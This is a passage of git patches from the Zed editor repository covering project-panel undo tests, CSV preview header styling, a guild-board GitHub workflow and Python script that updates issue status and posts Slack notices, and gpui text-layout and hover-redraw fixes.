+                        // methods that rely on `EntryId` to now rely on the actual
+                        // paths.
+                        let operation = match edited_entry {
+                            Some(old_entry) => {
+                                let project_path = (worktree_id, old_entry.path).into();
+                                Change::Renamed(project_path, new_project_path)
+                            }
+                            None => Change::Created(new_project_path),
+                        };
+                        project_panel.undo_manager.record([operation]).log_err();
+
                         if let Some(selection) = &mut project_panel.selection
                             && selection.entry_id == edited_entry_id
                         {
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index 3c6585cd746829..0ab83a1cd3db2e 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -11193,12 +11193,12 @@ fn ensure_no_open_items_and_panes(workspace: &Entity<Workspace>, cx: &mut Visual
     });
 }
 
-struct TestProjectItemView {
+pub(crate) struct TestProjectItemView {
     focus_handle: FocusHandle,
     path: ProjectPath,
 }
 
-struct TestProjectItem {
+pub(crate) struct TestProjectItem {
     path: ProjectPath,
 }
 
diff --git a/crates/project_panel/src/tests/undo.rs b/crates/project_panel/src/tests/undo.rs
index 9f607d9c074e71..070b31de6a50f3 100644
--- a/crates/project_panel/src/tests/undo.rs
+++ b/crates/project_panel/src/tests/undo.rs
@@ -3,14 +3,15 @@
 use client::proto;
 use collections::HashSet;
 use fs::{FakeFs, Fs};
-use gpui::{Entity, VisualTestContext};
+use gpui::{App, BorrowAppContext, Entity, VisualTestContext};
 use project::Project;
 use serde_json::{Value, json};
+use settings::SettingsStore;
 use std::path::Path;
 use std::sync::Arc;
-use workspace::MultiWorkspace;
+use workspace::{MultiWorkspace, register_project_item};
 
-use crate::project_panel_tests::{self, find_project_entry, select_path};
+use crate::project_panel_tests::{self, TestProjectItemView, find_project_entry, select_path};
 use crate::{NewDirectory, NewFile, ProjectPanel, Redo, Rename, Trash, Undo};
 
 struct TestContext {
@@ -251,6 +252,10 @@ impl TestContext {
 
         TestContext { panel, fs, cx }
     }
+
+    fn update_app<R>(&mut self, update: impl FnOnce(&mut App) -> R) -> R {
+        self.cx.cx.update(update)
+    }
 }
 
 #[gpui::test]
@@ -499,3 +504,42 @@ async fn undo_redo_unavailable_for_read_only_collab_guest(cx: &mut gpui::TestApp
         assert!(!window.is_action_available_in(&crate::Redo, &focus_handle));
     });
 }
+
+#[gpui::test]
+async fn excluded_create_is_not_recorded(cx: &mut gpui::TestAppContext) {
+    let mut cx = TestContext::new_with_tree(
+        cx,
+        json!({
+            "a.txt": "",
+            "b.txt": ""
+        }),
+    )
+    .await;
+
+    cx.update_app(|cx| {
+        cx.update_global::<SettingsStore, _>(|store, cx| {
+            store.update_user_settings(cx, |settings| {
+                settings.project.worktree.file_scan_exclusions = Some(vec![
+                    "**/token.secret".to_string(),
+                    "**/banana.secret".to_string(),
+                ]);
+            });
+        });
+
+        register_project_item::<TestProjectItemView>(cx);
+    });
+
+    cx.rename("a.txt", "renamed.txt").await;
+    cx.create_file("token.secret").await;
+    cx.assert_fs_state_is(&["b.txt", "renamed.txt", "token.secret"]);
+
+    cx.undo().await;
+    cx.assert_fs_state_is(&["b.txt", "a.txt", "token.secret"]);
+
+    cx.rename("a.txt", "renamed.txt").await;
+    cx.rename("b.txt", "banana.secret").await;
+    cx.assert_fs_state_is(&["renamed.txt", "token.secret", "banana.secret"]);
+
+    cx.undo().await;
+    cx.assert_fs_state_is(&["a.txt", "token.secret", "banana.secret"]);
+}

From 0b94192ebd07762eb4e2aa70207923c0f6739299 Mon Sep 17 00:00:00 2001
From: Oleksandr Kholiavko <43780952+HalavicH@users.noreply.github.com>
Date: Thu, 16 Jul 2026 18:02:18 +0200
Subject: [PATCH 504/772] csv_preview: Refine table styling and header button
 visibility (#60995)

Cleans up table cell/row styling and reworks column header filter/sort
buttons so they stay out of the way until needed, with a gradient fade
instead of a hard clip when the header label is truncated.

### Summary

Improved CSV preview column headers to only show filter/sort actions on
hover, with a gradient fade for truncated labels

### Demo (todo)

| Before | After |
| --- | --- |
| <img width="771" height="626" alt="image"
src="https://github.com/user-attachments/assets/76dcf7b9-ed4a-444f-91f7-57f2acd16934"
/> | <img width="774" height="603" alt="image"
src="https://github.com/user-attachments/assets/aeda6693-ff37-41e6-a849-780874e23286"
/> |

### Testing

- Hover over a data column header: filter/sort buttons fade in, label
truncates behind a gradient rather than a hard edge
- Apply a filter or sort on a column: its buttons stay visible without
hovering
- Toggle row identifier / cell vertical alignment setting between top
and center: alignment applies consistently to both row identifiers and
cells
- Confirm table renders without the previous striping (only bottom
borders)

Release Notes:

-  N/A
---
 .../csv_preview/src/renderer/render_table.rs  |  1 -
 .../src/renderer/row_identifiers.rs           | 16 ++---
 crates/csv_preview/src/renderer/table_cell.rs | 15 +----
 .../csv_preview/src/renderer/table_header.rs  | 61 ++++++++++++++++---
 crates/ui/src/components/gradient_fade.rs     |  8 +++
 5 files changed, 72 insertions(+), 29 deletions(-)

diff --git a/crates/csv_preview/src/renderer/render_table.rs b/crates/csv_preview/src/renderer/render_table.rs
index 3a7e1b3a04664d..511e36abd1773b 100644
--- a/crates/csv_preview/src/renderer/render_table.rs
+++ b/crates/csv_preview/src/renderer/render_table.rs
@@ -51,7 +51,6 @@ impl CsvPreviewView {
 
         Table::new(cols)
             .interactable(&self.table_interaction_state)
-            .striped()
             .width_config(ColumnWidthConfig::Resizable(current_widths.clone()))
             .header(headers)
             .disable_base_style()
diff --git a/crates/csv_preview/src/renderer/row_identifiers.rs b/crates/csv_preview/src/renderer/row_identifiers.rs
index e24441d3885e9e..770e266186faed 100644
--- a/crates/csv_preview/src/renderer/row_identifiers.rs
+++ b/crates/csv_preview/src/renderer/row_identifiers.rs
@@ -1,12 +1,12 @@
 use ui::{
     ActiveTheme as _, AnyElement, Button, ButtonCommon as _, ButtonSize, ButtonStyle,
-    Clickable as _, Context, ElementId, IntoElement as _, ParentElement as _, SharedString,
-    Styled as _, StyledTypography as _, Tooltip, div,
+    Clickable as _, Context, ElementId, FluentBuilder as _, IntoElement as _, ParentElement as _,
+    SharedString, Styled as _, StyledTypography as _, Tooltip, div,
 };
 
 use crate::{
     CsvPreviewView,
-    settings::RowIdentifiers,
+    settings::{RowIdentifiers, VerticalAlignment},
     types::{DataRow, DisplayRow, LineNumber},
 };
 
@@ -169,14 +169,16 @@ impl CsvPreviewView {
         let value = div()
             .flex()
             .px_1()
-            .border_b_1()
             .border_color(cx.theme().colors().border_variant)
             .bg(cx.theme().colors().panel_background)
             .h_full()
             .text_ui(cx)
-            // Row identifiers are always centered
-            .items_center()
-            .justify_end()
+            .text_color(cx.theme().colors().text_muted)
+            .justify_center()
+            .map(|div| match self.settings.vertical_alignment {
+                VerticalAlignment::Top => div.items_start(),
+                VerticalAlignment::Center => div.items_center(),
+            })
             .font_buffer(cx)
             .child(row_identifier)
             .into_any_element();
diff --git a/crates/csv_preview/src/renderer/table_cell.rs b/crates/csv_preview/src/renderer/table_cell.rs
index 8100731e13adb9..e792bcac68d44d 100644
--- a/crates/csv_preview/src/renderer/table_cell.rs
+++ b/crates/csv_preview/src/renderer/table_cell.rs
@@ -27,28 +27,19 @@ fn create_table_cell(
     cx: &Context<'_, CsvPreviewView>,
 ) -> gpui::Stateful<Div> {
     div()
-        .id(ElementId::Name(
-            format!(
-                "csv-display-cell-{}-{}",
-                *display_cell_id.row, *display_cell_id.col
-            )
-            .into(),
+        .id(ElementId::NamedInteger(
+            format!("csv-display-cell-{}", *display_cell_id.row).into(),
+            *display_cell_id.col as u64,
         ))
         .cursor_pointer()
         .flex()
         .h_full()
         .px_1()
-        .bg(cx.theme().colors().editor_background)
-        .border_b_1()
         .border_color(cx.theme().colors().border_variant)
         .map(|div| match vertical_alignment {
             VerticalAlignment::Top => div.items_start(),
             VerticalAlignment::Center => div.items_center(),
         })
-        .map(|div| match vertical_alignment {
-            VerticalAlignment::Top => div.content_start(),
-            VerticalAlignment::Center => div.content_center(),
-        })
         .font_buffer(cx)
         .tooltip(Tooltip::text(cell_content.clone()))
         .child(div().child(cell_content))
diff --git a/crates/csv_preview/src/renderer/table_header.rs b/crates/csv_preview/src/renderer/table_header.rs
index 1ce8d34d22b5ac..6549cb51520de6 100644
--- a/crates/csv_preview/src/renderer/table_header.rs
+++ b/crates/csv_preview/src/renderer/table_header.rs
@@ -1,5 +1,7 @@
 use gpui::ElementId;
-use ui::{ContextMenu, PopoverMenu, Tooltip, prelude::*};
+use ui::{
+    ContextMenu, GradientFade, IconButton, IconName, IconSize, PopoverMenu, Tooltip, prelude::*,
+};
 
 use crate::{
     CsvPreviewView,
@@ -19,16 +21,56 @@ impl CsvPreviewView {
         cx: &mut Context<'_, CsvPreviewView>,
         col_idx: AnyColumn,
     ) -> AnyElement {
-        // CSV data columns: text + filter/sort buttons
+        let has_active_filter = self.engine.has_active_filters(col_idx);
+        let has_active_sort = self
+            .engine
+            .applied_sorting
+            .is_some_and(|o| o.col_idx == col_idx);
+        let always_show_buttons = has_active_filter || has_active_sort;
+        let group_name = SharedString::from(format!("csv-col-header-{}", col_idx.get()));
+
+        let colors = cx.theme().colors();
+        let base_bg = colors.editor_background;
+        let grad_width_hovered = px(100.);
+        let grad_width = if always_show_buttons {
+            grad_width_hovered
+        } else {
+            px(20.)
+        };
         h_flex()
-            .justify_between()
-            .items_center()
+            .group(group_name.clone())
+            .relative()
+            .overflow_hidden()
             .w_full()
+            .items_center()
             .font_buffer(cx)
-            .child(div().child(header_text))
+            .child(
+                div()
+                    .flex_1()
+                    .min_w_0()
+                    .overflow_hidden()
+                    .whitespace_nowrap()
+                    .child(header_text),
+            )
+            .child(
+                GradientFade::new(base_bg, base_bg, base_bg)
+                    .width(grad_width)
+                    .width_hovered(grad_width_hovered)
+                    .right(px(0.))
+                    .gradient_stop(0.8)
+                    .group_name(group_name.clone()),
+            )
             .child(
                 h_flex()
+                    .absolute()
+                    .right_0()
+                    .top_0()
+                    .h_full()
+                    .items_center()
                     .gap_1()
+                    .when(!always_show_buttons, |this| {
+                        this.visible_on_hover(group_name)
+                    })
                     .child(self.create_filter_button(cx, col_idx))
                     .child(self.create_sort_button(cx, col_idx)),
             )
@@ -109,16 +151,17 @@ impl CsvPreviewView {
             col.get() as u64,
         ))
         .trigger_with_tooltip(
-            Button::new(
+            IconButton::new(
                 ElementId::NamedInteger("filter-button".into(), col.get() as u64),
-                if has_active_filters { "⛊" } else { "⛉" },
+                IconName::Filter,
             )
-            .size(ButtonSize::Compact)
+            .icon_size(IconSize::Small)
             .style(if has_active_filters {
                 ButtonStyle::Filled
             } else {
                 ButtonStyle::Subtle
-            }),
+            })
+            .toggle_state(has_active_filters),
             Tooltip::text(if has_active_filters {
                 "Column has active filters. Click to manage"
             } else {
diff --git a/crates/ui/src/components/gradient_fade.rs b/crates/ui/src/components/gradient_fade.rs
index 8a982695ecea7c..027167aba9e2a8 100644
--- a/crates/ui/src/components/gradient_fade.rs
+++ b/crates/ui/src/components/gradient_fade.rs
@@ -9,6 +9,7 @@ pub struct GradientFade {
     hover_bg: Hsla,
     active_bg: Hsla,
     width: Pixels,
+    width_hovered: Option<Pixels>,
     right: Pixels,
     gradient_stop: f32,
     group_name: Option<SharedString>,
@@ -24,6 +25,7 @@ impl GradientFade {
             right: px(0.0),
             gradient_stop: 0.6,
             group_name: None,
+            width_hovered: None,
         }
     }
 
@@ -32,6 +34,11 @@ impl GradientFade {
         self
     }
 
+    pub fn width_hovered(mut self, width: Pixels) -> Self {
+        self.width_hovered = Some(width);
+        self
+    }
+
     pub fn right(mut self, right: Pixels) -> Self {
         self.right = right;
         self
@@ -77,6 +84,7 @@ impl RenderOnce for GradientFade {
                         linear_color_stop(hover_bg, stop),
                         linear_color_stop(hover_bg.opacity(0.0), 0.),
                     ))
+                    .w(self.width_hovered.unwrap_or(self.width))
                 })
             })
             .when_some(self.group_name, |element, group_name| {

From a0bb97cad5b900d3a29e60a6d180e56d4c891847 Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Thu, 16 Jul 2026 18:17:01 +0200
Subject: [PATCH 505/772] Guild board automation: fix In Progress status moves
 (#61115)

Release Notes:

- N/A
---
 .github/workflows/guild_new_pr_notify.yml | 112 +++++-----------------
 script/github-guild-board.py              |  97 +++++++++++++++++--
 2 files changed, 115 insertions(+), 94 deletions(-)

diff --git a/.github/workflows/guild_new_pr_notify.yml b/.github/workflows/guild_new_pr_notify.yml
index 8aad061e5f8a7c..afa9b07d87b7d1 100644
--- a/.github/workflows/guild_new_pr_notify.yml
+++ b/.github/workflows/guild_new_pr_notify.yml
@@ -1,6 +1,8 @@
-# When a guild member opens a PR while already having another open PR in
-# zed-industries/zed, post a heads-up to #zed-guild-internal. PRs opened before
-# CUTOFF_DATE (the cohort start) don't count as "already open".
+# When a guild member opens a PR, react on the Guild board (#74):
+#   - if the PR will close an open board issue, set that issue to In Progress
+#     (covers starting work without self-assigning), and
+#   - if they already have another open PR opened since the cohort started, post
+#     a gentle heads-up to #zed-guild-internal.
 
 name: Guild New PR Notification
 
@@ -15,11 +17,8 @@ concurrency:
   group: guild-new-pr-notify-${{ github.event.pull_request.number }}
   cancel-in-progress: false
 
-env:
-  CUTOFF_DATE: "2026-07-01"
-
 jobs:
-  notify-slack:
+  react:
     if: github.repository == 'zed-industries/zed'
     runs-on: namespace-profile-2x4-ubuntu-2404
     timeout-minutes: 5
@@ -33,88 +32,25 @@ jobs:
           private-key: ${{ secrets.ZED_COMMUNITY_BOT_PRIVATE_KEY }}
           owner: zed-industries
 
-      - name: Notify on an additional open PR by a guild member
-        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
-        env:
-          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+      - name: Checkout repository
+        uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
         with:
-          github-token: ${{ steps.app-token.outputs.token }}
-          script: |
-            // Guild cohort members are outside collaborators holding this custom
-            // repository role, not members of an org team.
-            const GUILD_ROLE_NAME = 'Guild Assign issues/PRs';
-            const pr = context.payload.pull_request;
-            const author = pr.user.login;
-
-            const isGuildMember = async (username) => {
-              try {
-                const response = await github.rest.repos.getCollaboratorPermissionLevel({
-                  owner: 'zed-industries',
-                  repo: 'zed',
-                  username
-                });
-                // role_name is the effective (highest) role; for cohort outside
-                // collaborators that is the custom role. Built-in roles come back
-                // lowercased and won't match.
-                return (response.data.role_name || '').toLowerCase() === GUILD_ROLE_NAME.toLowerCase();
-              } catch (error) {
-                if (error.status === 404) {
-                  return false;
-                }
-                throw error;
-              }
-            };
-
-            if (!(await isGuildMember(author))) {
-              console.log(`${author} is not a guild member, skipping`);
-              return;
-            }
-
-            const cutoff = process.env.CUTOFF_DATE;
-            const query = `repo:zed-industries/zed is:pr is:open author:${author} created:>=${cutoff}`;
-            const result = await github.rest.search.issuesAndPullRequests({ q: query, per_page: 100 });
-            const others = result.data.items.filter((item) => item.number !== pr.number);
+          sparse-checkout: |
+            script/github-guild-board.py
+          sparse-checkout-cone-mode: false
 
-            if (others.length === 0) {
-              console.log(`${author} has no other qualifying open PRs, skipping`);
-              return;
-            }
-
-            const webhook = process.env.SLACK_WEBHOOK_GUILD_INTERNAL;
-            if (!webhook) {
-              core.setFailed('SLACK_WEBHOOK_GUILD_INTERNAL secret is not set');
-              return;
-            }
-
-            // Escape Slack's control characters so PR titles render literally
-            // instead of being read as links or @-mentions.
-            const esc = (text) =>
-              (text || '').replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+      - name: Set up Python
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
+        with:
+          python-version: "3.12"
 
-            const quips = [
-              'Deep into the queue they wander.',
-              'Nevermore just one open PR.',
-            ];
-            const quip = quips[Math.floor(Math.random() * quips.length)];
-            const otherList = others
-              .map((item) => `<${item.html_url}|#${item.number}> ${esc(item.title)}`)
-              .join('\n• ');
-            const message =
-              `${quip} @${author} just opened <${pr.html_url}|${esc(pr.title)}> ` +
-              `while still having open PR(s):\n• ${otherList}\n` +
-              'A gentle nudge to help them land one before spreading thin might be in order.';
+      - name: Install dependencies
+        run: pip install requests
 
-            const response = await fetch(webhook, {
-              method: 'POST',
-              headers: { 'Content-Type': 'application/json' },
-              body: JSON.stringify({
-                text: `${author} opened another PR while others are still open`,
-                blocks: [{ type: 'section', text: { type: 'mrkdwn', text: message } }],
-              }),
-            });
-            if (!response.ok) {
-              const body = await response.text();
-              core.setFailed(`Slack notification failed with status ${response.status}: ${body}`);
-              return;
-            }
-            console.log(`Notified: ${author} has ${others.length} other open PR(s)`);
+      - name: React to the new PR
+        env:
+          GITHUB_TOKEN: ${{ steps.app-token.outputs.token }}
+          PROJECT_NUMBER: "74"
+          GUILD_MODE: event
+          SLACK_WEBHOOK_GUILD_INTERNAL: ${{ secrets.SLACK_WEBHOOK_GUILD_INTERNAL }}
+        run: python script/github-guild-board.py
diff --git a/script/github-guild-board.py b/script/github-guild-board.py
index 7bdd8ab3a2a7ba..2635ac9b09a5dc 100644
--- a/script/github-guild-board.py
+++ b/script/github-guild-board.py
@@ -4,14 +4,18 @@
 
 GUILD_MODE selects behavior:
 
-- event: react to a single issue webhook.
+- event: react to a single issue or pull request webhook.
     assigned    guild member -> Status "In Progress", or a Slack heads-up if
                 the issue isn't on the board.
     unassigned  guild member off an "In Progress" issue -> move back to a
                 To-Do column by Type (e.g. Bugs go back to Bug Bashers column) + Slack.
     created     (issue_comment) guild assignee comments on an issue that has a
                 pending check-in -> Slack (fires on each such comment).
-- stale: nudge issues assigned to a guild member with no linked PR once the
+    pull request  guild member opens a PR -> set any open board issue it will
+                close to "In Progress" (covers starting work without self-
+                assigning), plus a Slack heads-up if they already have another
+                open PR.
+- stale: nudge issues assigned to a guild member with no open PR once the
     assignee goes quiet; a reply resets the clock, so nudges recur after renewed
     silence, and the assignment is cleared after a further grace period without a
     reply. The "guild hold" label pauses both nudging and clearing.
@@ -26,6 +30,7 @@
 import os
 import random
 import time
+import urllib.parse
 from datetime import datetime, timedelta, timezone
 from functools import lru_cache
 
@@ -43,6 +48,9 @@
 # then just adding/removing collaborators, with no org seats involved.
 GUILD_ROLE_NAME = "Guild Assign issues/PRs"
 
+# PRs opened before the cohort started don't count toward the open-PR heads-up.
+COHORT_START_DATE = "2026-07-01"
+
 STATUS_FIELD = "Status"
 STATUS_IN_PROGRESS = "In Progress"
 STATUS_BUG_BASHERS = "Bug Bashers"
@@ -204,6 +212,25 @@ def issue_closing_prs(issue_node_id, include_closed_prs=False):
     ]
 
 
+def pr_closing_issues(pr_node_id):
+    data = github_graphql(
+        """
+        query($prId: ID!) {
+          node(id: $prId) {
+            ... on PullRequest {
+              closingIssuesReferences(first: 10) {
+                nodes { id state }
+              }
+            }
+          }
+        }
+        """,
+        {"prId": pr_node_id},
+    )
+    node = data.get("node") or {}
+    return (node.get("closingIssuesReferences") or {}).get("nodes", [])
+
+
 def fetch_project(project_number):
     data = github_graphql(
         """
@@ -230,8 +257,8 @@ def fetch_project(project_number):
 
 
 def find_project_item(project_id, content_node_id):
-    # Also fetches each item's single-select values, so callers that need the
-    # issue's Status (the unassignment handler) don't have to re-query the item.
+    # Includes each item's single-select values so callers can read Status
+    # without a second query.
     data = github_graphql(
         """
         query($contentId: ID!) {
@@ -407,6 +434,10 @@ def latest_check_in_time(comments):
 
 
 def handle_assignment(issue, assignee_login, project_number):
+    # A late assignment on an already-closed issue shouldn't drag it back into
+    # In Progress (or flag it as off-board); the work is done.
+    if issue.get("state") == "closed":
+        return
     if not is_guild_member(assignee_login):
         return
 
@@ -460,6 +491,58 @@ def handle_unassignment(issue, removed_login, sender, project_number):
         )
 
 
+def handle_pull_request(pull_request, project_number):
+    author = (pull_request.get("user") or {}).get("login")
+    if not author or not is_guild_member(author):
+        return
+    set_linked_issues_in_progress(pull_request, project_number)
+    warn_about_extra_open_prs(pull_request, author)
+
+
+def set_linked_issues_in_progress(pull_request, project_number):
+    # Only open issues: a stale closed or merged PR shouldn't drag its issue back
+    # to In Progress.
+    open_issues = [
+        issue
+        for issue in pr_closing_issues(pull_request["node_id"])
+        if issue.get("state") == "OPEN"
+    ]
+    if not open_issues:
+        return
+    project = fetch_project(project_number)
+    for issue in open_issues:
+        item = find_project_item(project["id"], issue["id"])
+        if item:
+            set_project_field(project, item["id"], STATUS_FIELD, STATUS_IN_PROGRESS)
+
+
+def warn_about_extra_open_prs(pull_request, author):
+    query = (
+        f"repo:{REPO_OWNER}/{REPO_NAME} is:pr is:open "
+        f"author:{author} created:>={COHORT_START_DATE}"
+    )
+    result = github_rest_request(
+        "GET", f"search/issues?q={urllib.parse.quote(query)}&per_page=100"
+    )
+    others = [
+        pr
+        for pr in (result or {}).get("items", [])
+        if pr["number"] != pull_request["number"]
+    ]
+    if not others:
+        return
+    lines = "\n".join(
+        f"• {slack_link(pr['html_url'], '#' + str(pr['number']))} {escape_slack(pr['title'])}"
+        for pr in others
+    )
+    send_slack(
+        f"@{author} just opened {slack_link(pull_request['html_url'], pull_request['title'])} "
+        "while still having open PR(s):\n"
+        f"{lines}\n"
+        "A gentle nudge to help them land one before spreading thin might be in order."
+    )
+
+
 def handle_comment(issue, comment):
     commenter = (comment.get("user") or {}).get("login")
     if not commenter or CHECK_IN_MARKER in (comment.get("body") or ""):
@@ -501,6 +584,8 @@ def run_event(project_number):
             )
     elif event_name == "issue_comment" and "pull_request" not in event["issue"]:
         handle_comment(event["issue"], event["comment"])
+    elif event_name == "pull_request_target":
+        handle_pull_request(event["pull_request"], project_number)
 
 
 def run_stale(project_number):
@@ -576,13 +661,13 @@ def run_stale(project_number):
             set_project_field(project, item["id"], STATUS_FIELD, status)
             send_slack(
                 f"Issue #{issue_number} {link} went quiet with @{assignee} "
-                "(no linked PR, no reply to my check-in), so I cleared the assignment and "
+                "(no open PR, no reply to my check-in), so I cleared the assignment and "
                 f"moved it back to *{status}*. It's up for grabs again — no action needed."
             )
         else:
             send_slack(
                 f"Issue #{issue_number} {link} went quiet with @{assignee} "
-                "(no linked PR, no reply to my check-in), so I cleared the assignment. I "
+                "(no open PR, no reply to my check-in), so I cleared the assignment. I "
                 "couldn't tell its Type — please move it to Bug Bashers or Ship a New "
                 "Feature so it can be picked up again, then set the :done-checkmark: emoji "
                 "on this message when done."

From b05f40c5546b47bcf9561136dc0fcdcd9968cb63 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Thu, 16 Jul 2026 20:23:49 +0300
Subject: [PATCH 506/772] Fix post-taffy-bump layouting issues (#61107)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Follow-up to https://github.com/zed-industries/zed/pull/60721

Before:
<img width="564" height="470" alt="before"
src="https://github.com/user-attachments/assets/d825464d-f8d9-4fa1-bee3-42b5f615d4ba"
/>

<img width="745" height="221" alt="image"
src="https://github.com/user-attachments/assets/18139bec-6778-491a-9aa5-0112bd121723"
/>


After:
<img width="576" height="472" alt="after"
src="https://github.com/user-attachments/assets/4c3c37cf-12c4-421e-98e9-cc6e40aa099d"
/>

<img width="812" height="275" alt="image"
src="https://github.com/user-attachments/assets/407e06b4-101f-4984-8d5b-4e33895b5ae9"
/>


### Bug 1 — constraint-blind text layout cache (the collapse)

`TextLayout`'s measure closure is stateful (each call overwrites the
shared element state used for painting), and its cache check served
cached sizes to unconstrained probes regardless of the constraints they
were computed under:

1. `uniform_list::measure_item` lays an item out at `(MinContent,
MinContent)`; the row's `min_w_0` lets it shrink to ~0, so labels get
truncated at a tiny width — and that tiny size lands in the element
state.
2. The real layout probes the label's flex base size with
`available_space.width = MaxContent` (taffy maps Definite → MaxContent).
Truncated labels are `whitespace_nowrap`, so both `wrap_width` and
`truncate_width` were `None` → the cache check passed → the poisoned
tiny size became the flex basis → labels rendered at ~5 chars.

**Fix**: record `truncate_width` in `TextLayoutInner` and never serve a
cached layout that was computed *with* truncation to an unconstrained
probe; the honest intrinsic size is recomputed instead, and the final
`PerformLayout` call re-truncates against the real resolved width.

### Bug 2 — truncation width math disagrees with shaping (the ~2-char
loss)

After fix 1, rows got their full width, but exact-fit strings like
`Cargo.toml` still lost ~2 chars:

- Sizing measures via `shape_text` (real shaping with kerning); the
element gets exactly `ceil(shaped_width)`.
- The truncation decision (`LineWrapper::should_truncate_line_middle`
etc.) sums **per-character advances** — no kerning — with zero
tolerance, overestimating width for some glyph sequences. Text sitting
in a box of exactly its own measured width got truncated, losing ~2
chars to fit the `…`. String-dependent (kerning pairs), hence
`Cargo.toml` broke while `Cargo.lock` didn't.
- Previously masked because taffy 0.10 usually skipped the final measure
invocation, so the truncation path rarely ran with an exact-fit width.

**Fix**: before truncating (nowrap case, `wrap_width.is_none()`), shape
the untruncated text and skip truncation if the *shaped* width fits —
matching CSS `text-overflow`, which only activates on actual overflow.
Cheap: the shaping result is a `line_layout_cache` hit from the earlier
untruncated sizing probe.

### Bug 3 — `MinContent` used instead of `MaxContent` that caused over
truncation of certain labels

Release Notes:

- N/A
---
 crates/gpui/src/elements/list.rs         |  2 +-
 crates/gpui/src/elements/text.rs         | 26 ++++++++++++++++++++++--
 crates/gpui/src/elements/uniform_list.rs |  2 +-
 3 files changed, 26 insertions(+), 4 deletions(-)

diff --git a/crates/gpui/src/elements/list.rs b/crates/gpui/src/elements/list.rs
index 62b481bc53045d..77d33ca248937e 100644
--- a/crates/gpui/src/elements/list.rs
+++ b/crates/gpui/src/elements/list.rs
@@ -1038,7 +1038,7 @@ impl StateInner {
         let mut rendered_focused_item = false;
 
         let available_item_space = size(
-            available_width.map_or(AvailableSpace::MinContent, |width| {
+            available_width.map_or(AvailableSpace::MaxContent, |width| {
                 AvailableSpace::Definite(width)
             }),
             AvailableSpace::MinContent,
diff --git a/crates/gpui/src/elements/text.rs b/crates/gpui/src/elements/text.rs
index b64f65a37c511c..3470ac94e27ed3 100644
--- a/crates/gpui/src/elements/text.rs
+++ b/crates/gpui/src/elements/text.rs
@@ -618,6 +618,7 @@ struct TextLayoutInner {
     lines: SmallVec<[WrappedLine; 1]>,
     line_height: Pixels,
     wrap_width: Option<Pixels>,
+    truncate_width: Option<Pixels>,
     size: Option<Size<Pixels>>,
     bounds: Option<Bounds<Pixels>>,
 }
@@ -680,16 +681,20 @@ impl TextLayout {
                 // 2. wrap_width matches (or both are None)
                 // 3. truncate_width is None (if truncate_width is Some, we need to re-layout
                 //    because the previous layout may have been computed without truncation)
+                // 4. the cached layout was not truncated (a truncated layout answers an
+                //    unconstrained probe with the truncated size, which poisons intrinsic
+                //    sizing with whatever width some earlier measure pass happened to use)
                 if let Some(text_layout) = element_state.0.borrow().as_ref()
                     && let Some(size) = text_layout.size
                     && (wrap_width.is_none() || wrap_width == text_layout.wrap_width)
                     && truncate_width.is_none()
+                    && text_layout.truncate_width.is_none()
                 {
                     return size;
                 }
 
                 let mut line_wrapper = cx.text_system().line_wrapper(text_style.font(), font_size);
-                let (text, runs) = if truncate_width.is_some() {
+                let (text, runs) = if let Some(truncate_width) = truncate_width {
                     if let Some(max_lines) = text_style.line_clamp
                         && let Some(wrap_width) = wrap_width
                     {
@@ -701,10 +706,25 @@ impl TextLayout {
                             &runs,
                             truncate_from,
                         )
+                    } else if let Some(unclipped) = window
+                        .text_system()
+                        .shape_text(text.clone(), font_size, &runs, None, None)
+                        .log_err()
+                        && unclipped
+                            .iter()
+                            .all(|line| line.size(line_height).width <= truncate_width)
+                    {
+                        // The truncation decision below sums per-character advances,
+                        // which overestimates the shaped width (no kerning), truncating
+                        // text that fits exactly in its measured width. Skip truncation
+                        // whenever the honestly-shaped text fits; the shaping result
+                        // comes from the line layout cache when the same text was
+                        // already measured untruncated this frame.
+                        (text.clone(), Cow::Borrowed(&*runs))
                     } else {
                         line_wrapper.truncate_line(
                             text.clone(),
-                            truncate_width.unwrap_or(Pixels::MAX),
+                            truncate_width,
                             &truncation_affix,
                             &runs,
                             truncate_from,
@@ -731,6 +751,7 @@ impl TextLayout {
                         len: 0,
                         line_height,
                         wrap_width,
+                        truncate_width,
                         size: Some(Size::default()),
                         bounds: None,
                     });
@@ -749,6 +770,7 @@ impl TextLayout {
                     len,
                     line_height,
                     wrap_width,
+                    truncate_width,
                     size: Some(size),
                     bounds: None,
                 });
diff --git a/crates/gpui/src/elements/uniform_list.rs b/crates/gpui/src/elements/uniform_list.rs
index 0a3314573f0856..94ac0021ec8d96 100644
--- a/crates/gpui/src/elements/uniform_list.rs
+++ b/crates/gpui/src/elements/uniform_list.rs
@@ -671,7 +671,7 @@ impl UniformList {
             return Size::default();
         };
         let available_space = size(
-            list_width.map_or(AvailableSpace::MinContent, |width| {
+            list_width.map_or(AvailableSpace::MaxContent, |width| {
                 AvailableSpace::Definite(width)
             }),
             AvailableSpace::MinContent,

From ae3bbdeb2df000acd8e0c5c75275cbb357e2b223 Mon Sep 17 00:00:00 2001
From: Daan De Meyer <daan@amutable.com>
Date: Thu, 16 Jul 2026 21:26:49 +0200
Subject: [PATCH 507/772] gpui: Avoid redundant group hover redraws (#61118)

Anonymous elements with group hover styles have no persistent hover
state. The
prepaint mouse handler treated missing state as unhovered and notified
the
current view for every pointer movement within the group. This made
controls
such as switches redraw continuously while the pointer moved over them.

Let anonymous elements use the existing paint-time hover transition
handler.
Only elements with persistent hover state now update that state and
notify from
prepaint. Add regression coverage for entering, moving within, and
leaving an
anonymous hover group.

Signed-off-by: Daan De Meyer <daan@amutable.com>

Release Notes:

- N/A

Signed-off-by: Daan De Meyer <daan@amutable.com>
---
 crates/gpui/src/elements/div.rs | 105 +++++++++++++++++++++++++++++++-
